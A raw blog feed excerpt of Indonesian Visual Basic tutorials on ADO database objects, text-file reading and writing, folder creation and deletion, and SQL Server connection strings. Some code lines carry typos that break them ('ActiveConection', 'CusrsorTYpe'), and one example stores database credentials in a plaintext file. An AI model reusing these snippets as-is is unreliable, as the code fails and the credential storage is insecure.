'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Jika tidak ingin menggunak authentik pada proses koneksi gunakan cara berikut:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;koneksi = “Provider=SQLOLEDB.1;” &amp;amp; _&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                  “Integrated Security Info=False;” &amp;amp; _&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;                 “Data Source = NamaServer”&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt; &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;cn.Open koneksi&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Bila koneksi sudah tidak diperlukan tutuplah koneksi dengan perintah&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt; ”Set cn = Nothing”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;2. Object Command&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Digunakan untuk perintah SQL ke sumber data atau server. Deklarasi object command sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      Dim CmdBarang As New ADODB.Command&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;atau&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     Public Cmd as New ADODB.Command&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;selanjutnya alokasikan memori untuk object Command sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     Set CmdBarang = New ADODB.Command&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt; Kemudian Isi property object command&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      CmdBarang.ActiveConection = cn&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     CmdBarang.CommandText = “select * from barang”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      CmdBarang.CommandType = adCmdText&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;3. Object Recordset&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Digunakan sebagao penampung hasil eksekusi dalam bentuk tabel. Deklarasi object record sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      Dim rsBarang As New ADODB.Recordset&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;atau&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      Public rsBarang As New ADODB.Recordset&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;selanjutnya alokasikan memori ynryk object recordset sbb:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      Set rsBarang = New ADODB.recordset&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;lalu isikan property object record set&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;      rsBarang.CusrsorTYpe = adOpenDynamic&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     rsBarang.LockType = adLockOptimistic&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;     rsbarang.Open cmdBarang&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;atau&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;   rsbarang,open CmdBarang,, adOpenDynamic, adlockOptimistic, &lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt; adCmdtext&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;Data Control&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size: 11pt; color: black; font-family: 'Century Gothic';"&gt;Visual Basic terus berkembang dalam pengembangan general purpose Windows, tetapi kemampuan database tidaklah bagian murni dari desainnya. Data Control,&lt;span&gt;  &lt;/span&gt;Visual Basic menambahkan, membuat Visual Basic suatu alat yang jauh lebih tangguh untuk pembuatan pemrograman database.&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: 'Century Gothic';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;span style="font-size: 11pt; font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;span style="font-family: 'Century Gothic';"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt;" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt; color: black; font-family: 'Century Gothic';"&gt;&lt;img src="http://zulidamel.files.wordpress.com/2007/11/data-control.jpg" alt="data-control.jpg" align="left" /&gt;Data Control memberikan kemudahkan untuk mendapat data ke dalam program anda. Anda dapat dengan mudah mengaitkan&lt;span&gt;  &lt;/span&gt;suatu file database, lalu mengaitkan&lt;span&gt;  &lt;/span&gt;data lainnya &lt;span&gt; &lt;/span&gt;untuk memindahkan data dari database ke aplikasi anda dan sebaliknya. Data Control pada suatu database dan menetapkan tabel mana yang akan diambil, lalu mengaitkan&lt;span&gt;  &lt;/span&gt;ke pengendali Data Control, menetapkan&lt;span&gt; &lt;/span&gt; field yang akan ditampilkan. Pada waktu itu aplikasi anda dapat mengambil, menampilkan, memperbaharui dan membuat database merekam. Alir data di dalam skenario ini ditandai pada gambar.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7593888448607168803?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7593888448607168803/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7593888448607168803' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7593888448607168803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7593888448607168803'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/koneksi-dengan-database.html' title='Koneksi dengan database'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5700604253143540258</id><published>2008-11-28T13:01:00.002+07:00</published><updated>2008-11-28T13:16:51.030+07:00</updated><title type='text'>Menulis dan membaca dari file Text</title><content type='html'>Hampir setiap pemrograman yang saya lakukan, memerlukan perintah untuk membaca dan menulis File text.&lt;br /&gt;Sebagai tambahan Informasi, kali ini saya akan menampilkan syntax  bagaimana caranya membaca dan menulis file text melalui bahasa pemrograman Visual Basic.&lt;br /&gt;Berikut List Syntaxnya …   &lt;p&gt;&lt;span id="more-61"&gt;&lt;/span&gt;&lt;strong&gt;1. Menulis Ke File Text&lt;/strong&gt;&lt;strong&gt;  &lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;  Dim LocTextFile As String&lt;br /&gt;    LocTextFile = “C:\windows\SvAdd.txt”&lt;br /&gt;  &lt;br /&gt;    Open LocTextFile For Output As #1   ‘Buka file text&lt;br /&gt;       Print #1, “Server_Name”    ‘Modify Baris Pertama”&lt;br /&gt;       Print #1, “Database_Name”  ‘Modify Baris Kedua&lt;br /&gt;       Print #1, “User”           ‘Modify Baris Ketiga&lt;br /&gt;       Print #1, “Pwd”            ‘Modify Baris Keempat&lt;br /&gt;    Close #1&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;strong&gt;&lt;strong&gt;2. Membaca dari File Text&lt;br /&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;    Dim LocTextFile As String&lt;br /&gt;    Dim ServerAddress  As String&lt;br /&gt;    Dim DatabaseName As String&lt;br /&gt;    Dim UserID As String&lt;br /&gt;    Dim PwdSql As String &lt;br /&gt;  LocTextFile = “C:\windows\SvAdd.txt”&lt;br /&gt;    Open LocTextFile For Input As #1    ‘Buka file text&lt;br /&gt;       Line Input #1, ServerAddress      ‘Baca Baris Pertama&lt;br /&gt;       Line Input #1, DatabaseName       ‘Baca Baris Kedua&lt;br /&gt;       Line Input #1, UserID             ‘Baca Baris Ketiga&lt;br /&gt;       Line Input #1, PwdSql             ‘Baca Baris Keempat&lt;br /&gt;    Close #1 ‘Tutup File file text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5700604253143540258?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5700604253143540258/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5700604253143540258' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5700604253143540258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5700604253143540258'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/menulis-dan-membaca-dari-file-text.html' title='Menulis dan membaca dari file Text'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-561134651972033943</id><published>2008-11-28T12:59:00.001+07:00</published><updated>2008-11-28T13:00:39.432+07:00</updated><title type='text'>Membuat dan menghapus folder melalui VB</title><content type='html'>Posting berikut akan memberikan cara untuk membuat  dan menghapus  suatu folder menggunakan program Visual Basic.&lt;br /&gt;Tips ini sangat membantu kita untuk menyimpan file dari hasil suatu proses.&lt;br /&gt;Berikut kumpulan Syntaxknya :   &lt;p&gt;&lt;span id="more-59"&gt;&lt;/span&gt;Pada saat akan membuat direktori baru, kita harus pastikan bahwa folder&lt;br /&gt;tersebut benar - benar baru (tidak ada sebelumnya).&lt;/p&gt; &lt;p&gt;Menghapus Suatu Folder :&lt;/p&gt; &lt;p&gt;&lt;strong&gt; RmDir (”c:\FolderTest”)&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;2. Sebelum menjalankan hapus Folder,  pastikan isi dari folder tersebut sudah Kosong,&lt;br /&gt;Cara untuk menghapus isi Dari folder tersebut :&lt;/p&gt; &lt;p&gt;&lt;strong&gt; Kill “c:\FolderTest\*.*”&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;3. Membuat Direktory Baru :&lt;/p&gt; &lt;p&gt;&lt;strong&gt; MkDir (”c:\FolderTest”)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Selamat Mencoba !!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-561134651972033943?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/561134651972033943/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=561134651972033943' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/561134651972033943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/561134651972033943'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-dan-menghapus-folder-melalui-vb.html' title='Membuat dan menghapus folder melalui VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5227012668171550797</id><published>2008-11-28T10:36:00.013+07:00</published><updated>2009-01-19T06:45:15.020+07:00</updated><title type='text'>Menghubungkan VB dengan semua database</title><content type='html'>&lt;span style="color: rgb(255, 102, 102);"&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-family:trebuchet ms;"&gt;1. SQL Server&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;strong&gt;ODBC &lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard Security:&lt;br /&gt;&lt;/strong&gt;"Driver={SQL Server};Server=Aron1;Database=pubs;Uid=sa;Pwd=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted connection:&lt;br /&gt;&lt;/strong&gt;"Driver={SQL Server};Server=Aron1;Database=pubs;&lt;br /&gt;Trusted_Connection=yes;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Prompt for username and password:&lt;br /&gt;&lt;/strong&gt;oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Driver={SQL Server};Server=Aron1;DataBase=pubs;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Standard Security:&lt;/strong&gt;&lt;br /&gt;"Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted Connection:&lt;br /&gt;&lt;/strong&gt;"Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;"&lt;br /&gt;(use serverName\instanceName as Data Source to use an specifik SQLServer instance, only SQLServer2000)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Prompt for username and password:&lt;br /&gt;&lt;/strong&gt;oConn.Provider = "sqloledb"oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Data Source=Aron1;Initial Catalog=pubs;"&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Connect via an IP address:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family:trebuchet ms;"&gt;"Provider=sqloledb;Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span style="font-family:trebuchet ms;"&gt;(DBMSSOCN=TCP/IP instead of Named Pipes, at the end of the Data Source is the port to use (1433 is the default))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;SqlConnection (.NET)&lt;br /&gt;&lt;/span&gt;Standard Security:&lt;/strong&gt;&lt;br /&gt;"Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;" - or -&lt;br /&gt;"Server=Aron1;Database=pubs;User ID=sa;Password=asdasd;Trusted_Connection=False"&lt;br /&gt;&lt;br /&gt;(both connection strings produces the same result)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted Connection:&lt;br /&gt;&lt;/strong&gt;"Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;" - or -"Server=Aron1;Database=pubs;Trusted_Connection=True;"&lt;br /&gt;&lt;br /&gt;(both connection strings produces the same result)&lt;br /&gt;(use serverName\instanceName as Data Source to use an specifik SQLServer instance,&lt;br /&gt;only SQLServer2000)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Connect via an IP address:&lt;br /&gt;&lt;/strong&gt;"Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"&lt;br /&gt;(DBMSSOCN=TCP/IP instead of Named Pipes,&lt;br /&gt;at the end of the Data Source is the port to use (1433 is the default))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Declare the SqlConnection:&lt;br /&gt;&lt;/strong&gt;C#:using System.Data.SqlClient;SqlConnection oSQLConn = new SqlConnection();oSQLConn.ConnectionString="my connection string";oSQLConn.Open();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;VB.NET:&lt;br /&gt;&lt;/strong&gt;Imports System.Data.SqlClientDim oSQLConn As SqlConnection = New SqlConnection()oSQLConn.ConnectionString="my connection string"oSQLConn.Open()&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Data Shape&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;MS Data Shape"Provider=MSDataShape;Data Provider=SQLOLEDB;Data Source=Aron1;Initial Catalog=pubs;User ID=sa;Password=asdasd;"&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;2.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;SQL Server 2005&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;SQL Native Client ODBC Driver&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Standard security:&lt;/strong&gt;&lt;br /&gt;"Driver={SQL Native Client};Server=Aron1;Database=pubs;UID=sa;PWD=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Trusted connection:&lt;/strong&gt;&lt;br /&gt;"Driver={SQL Native Client};Server=Aron1;Database=pubs;Trusted_Connection=yes;"&lt;br /&gt;&lt;br /&gt;EquivalentsIntegrated Security=SSPI equals Trusted_Connection=yes&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Prompt for username and password:&lt;br /&gt;&lt;/strong&gt;oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Driver={SQL Native Client};Server=Aron1;DataBase=pubs;"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Enabling MARS (multiple active result sets):&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;"Driver={SQL Native Client};Server=Aron1;Database=pubs;&lt;br /&gt;&lt;br /&gt;Trusted_Connection=yes;MARS_Connection=yes"&lt;br /&gt;&lt;br /&gt;EquivalentsMultipleActiveResultSets=true equals MARS_Connection=yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Encrypt data sent over network:&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;"Driver={SQL Native Client};Server=Aron1;Database=pubs;&lt;br /&gt;&lt;br /&gt;Trusted_Connection=yes;Encrypt=yes"&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Attach a database file on connect to a local SQL Server Express instance:&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;"Driver={SQL Native Client};Server=.\SQLExpress;&lt;br /&gt;&lt;br /&gt;AttachDbFilename=c:\asd\qwe\mydbfile.mdf;&lt;br /&gt;&lt;br /&gt;Database=dbname;Trusted_Connection=Yes;"&lt;br /&gt;&lt;br /&gt;- or -&lt;br /&gt;&lt;br /&gt;"Driver={SQL Native Client};Server=.\SQLExpress;&lt;br /&gt;&lt;br /&gt;AttachDbFilename=DataDirectorymydbfile.mdf;&lt;br /&gt;&lt;br /&gt;Database=dbname;Trusted_Connection=Yes;"&lt;br /&gt;&lt;br /&gt;(use DataDirectory when your database file resides in the data directory)&lt;br /&gt;&lt;br /&gt;Why is the "Database" parameter needed?&lt;br /&gt;Answer:&lt;br /&gt;If the database was previously attached, SQL Server does not reattach it&lt;br /&gt;(it uses the attached database as the default for the connection).&lt;br /&gt;&lt;br /&gt;(the package contains booth the ODBC driver and the OLE DB provider)&lt;br /&gt;Using SQL Server 2005 Express? Don't miss the server name syntax:&lt;br /&gt;&lt;br /&gt;SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;SQL Native Client OLE DB Provider&lt;br /&gt;Standard security:&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;"Provider=SQLNCLI;Server=Aron1;Database=pubs;&lt;br /&gt;UID=sa;PWD=asdasd;"&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted connection:&lt;br /&gt;&lt;/strong&gt;"Provider=SQLNCLI;Server=Aron1;Database=pubs;&lt;br /&gt;Trusted_Connection=yes;"&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;em&gt;Equivalents&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Integrated Security=SSPI equals Trusted_Connection=yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Prompt for username and password:&lt;br /&gt;&lt;/strong&gt;oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Provider=SQLNCLI;Server=Aron1;DataBase=pubs;"&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Enabling MARS (multiple active result sets):&lt;br /&gt;&lt;/strong&gt;"Provider=SQLNCLI;Server=Aron1;Database=pubs;&lt;br /&gt;Trusted_Connection=yes;MarsConn=yes"&lt;br /&gt;&lt;br /&gt;Equivalents&lt;br /&gt;&lt;br /&gt;MarsConn=yes equals MultipleActiveResultSets=true equals MARS_Connection=yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Encrypt data sent over network:&lt;br /&gt;&lt;/strong&gt;"Provider=SQLNCLI;Server=Aron1;Database=pubs;&lt;br /&gt;Trusted_Connection=yes;Encrypt=yes"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Attach a database file on connect to a local SQL Server Express instance:&lt;br /&gt;&lt;/strong&gt;"Provider=SQLNCLI;Server=.\SQLExpress;&lt;br /&gt;AttachDbFilename=c:\asd\qwe\mydbfile.mdf;&lt;br /&gt;Database=dbname;Trusted_Connection=Yes;"&lt;br /&gt;- or -&lt;br /&gt;"Provider=SQLNCLI;Server=.\SQLExpress;&lt;br /&gt;AttachDbFilename=DataDirectorymydbfile.mdf;&lt;br /&gt;Database=dbname;Trusted_Connection=Yes;"&lt;br /&gt;&lt;br /&gt;(use DataDirectory when your database file resides in the data directory)&lt;br /&gt;&lt;br /&gt;Why is the "Database" parameter needed?&lt;br /&gt;Answer: If the database was previously attached,&lt;br /&gt;SQL Server does not reattach it&lt;br /&gt;(it uses the attached database as the default for the connection).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(the package contains booth the ODBC driver and the OLE DB provider)&lt;br /&gt;Using SQL Server 2005 Express? Don't miss the server name syntax:&lt;br /&gt;SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;strong&gt;SqlConnection (.NET)&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Standard Security:&lt;/strong&gt;&lt;br /&gt;"Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;- or -&lt;br /&gt;&lt;br /&gt;"Server=Aron1;Database=pubs;User ID=sa;Password=asdasd;Trusted_Connection=False"&lt;br /&gt;&lt;br /&gt;(both connection strings produces the same result)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted Connection:&lt;br /&gt;&lt;/strong&gt;"Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;"&lt;br /&gt;&lt;br /&gt;- or -&lt;br /&gt;&lt;br /&gt;"Server=Aron1;Database=pubs;Trusted_Connection=True;"&lt;br /&gt;&lt;br /&gt;(both connection strings produces the same result)&lt;br /&gt;&lt;br /&gt;(use serverName\instanceName as Data Source to use an specifik SQLServer instance)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Connect via an IP address:&lt;br /&gt;&lt;/strong&gt;"Data Source=190.190.200.100,1433;&lt;br /&gt;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;(DBMSSOCN=TCP/IP instead of Named Pipes,&lt;br /&gt;at the end of the Data Source is the port to use (1433 is the default))&lt;br 